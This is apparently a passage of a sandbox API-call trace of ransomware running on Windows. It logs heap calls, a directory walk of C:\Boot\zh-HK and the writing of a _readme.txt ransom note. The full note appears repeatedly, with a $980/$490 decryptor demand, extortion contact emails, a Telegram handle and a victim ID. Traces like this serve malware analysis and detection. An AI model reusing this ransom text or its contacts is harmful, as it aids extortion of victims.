(HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.371] PathFindFileNameW (pszPath="C:\\Boot\\zh-HK\\") returned="zh-HK\\" [0059.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.371] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.371] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.371] PathFindFileNameW (pszPath="") returned="" [0059.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.371] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.372] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.372] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.372] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.372] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8ab8 [0059.372] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.372] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.372] PathAppendW (in: pszPath="C:\\Boot\\zh-HK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 1 [0059.372] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.372] PathFileExistsW (pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 0 [0059.373] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7d00) returned 0x312a418 [0059.373] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.373] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.373] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c9340 [0059.373] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\_readme.txt" (normalized: "c:\\boot\\zh-hk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.373] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x930) returned 0x3100c28 [0059.373] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x894) returned 0x3068dd8 [0059.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x3068dd8, cbMultiByte=2196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 1173 [0059.373] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3132120 [0059.374] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.374] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.374] CloseHandle (hObject=0x5c0) returned 1 [0059.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c9340 | out: hHeap=0x670000) returned 1 [0059.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.375] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13ce0d10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13ce0d10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.375] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13ce0d10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13ce0d10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.375] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.375] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13ce0d10, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13ce0d10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13ce0d10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.375] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13ce0d10, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13ce0d10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13ce0d10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.375] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.375] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, 